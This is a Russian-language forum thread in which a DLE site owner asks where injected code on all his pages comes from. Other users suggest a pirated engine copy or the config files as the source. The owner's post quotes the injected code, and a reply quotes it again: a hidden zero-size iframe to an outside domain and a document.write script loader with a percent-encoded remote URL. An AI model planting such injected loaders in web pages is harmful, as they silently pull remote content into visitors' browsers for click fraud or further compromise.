Вирус на сайте iframe

[aforist74 0]

На моем дле сайте, на всех страницах выводится следующий код:

<iframe src="http://erhaerheheh.co.cc/index.php?tp=036b31a39c195641" width="0" height="0" frameborder="0"></iframe>

<script language="JavaScript" type="text/javascript" >

document.write('<script language="JavaScript" type="text/javascript" src="'+unescape('%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0072%u0075%u006b%u006c%u0069%u006b%u002e%u0063%u006f%u006d%u002f%u0067%u0065%u0074%u002e')+'"><\/script>');

</script>

Уже поменял все пароли, пробовал перезалить директорию engine, файл Индекс.пхп а так же шаблон - ни чего не помогает. Подскажите в каких файлах искать эту гадость... Может кто сталкивался с подобной проблемой.

[ArtemNY 17]

На моем дле сайте, на всех страницах выводится следующий код:

<iframe src="http://erhaerheheh.co.cc/index.php?tp=036b31a39c195641" width="0" height="0" frameborder="0"></iframe>

<script language="JavaScript" type="text/javascript" >

document.write('<script language="JavaScript" type="text/javascript" src="'+unescape('http://ruklik.com/get.')+'"><\/script>');

</script>

Уже поменял все пароли, пробовал перезалить директорию engine, файл Индекс.пхп а так же шаблон - ни чего не помогает. Подскажите в каких файлах искать эту гадость... Может кто сталкивался с подобной проблемой.

Скорее всего эту гадость искать в нелегальной копии скрипта!

Ссылку на сайт и мы разговариваем. Нет ссылки на сайт - письмо в ссупорт. Нет письма в суппорт - читаем правила форума! Не читаем правила - уходим в неоплачеваемый отпуск!

__________________________

Зы не по теме. Интересно... Вот так "левые" рекламные агенства, тобишь сайты по покупке и продаже трафика, накручивают себе клики... Потом покупай у них "пустую" рекламу...

Изменено 20 января 2011 пользователем ArtemNY

[Azat868 2]

Всё таки напишу, если в самом верху сайта выводится первым этот код,то это скорее всего означает что код размещен на таких файлах как конфиг и дб.конфиг.

Не всегда траф льется на накрутку кликов. Мне другое интересно, сколько оборотов проходит трафик (пользователь->ПП->сайт->ПП->сайт....).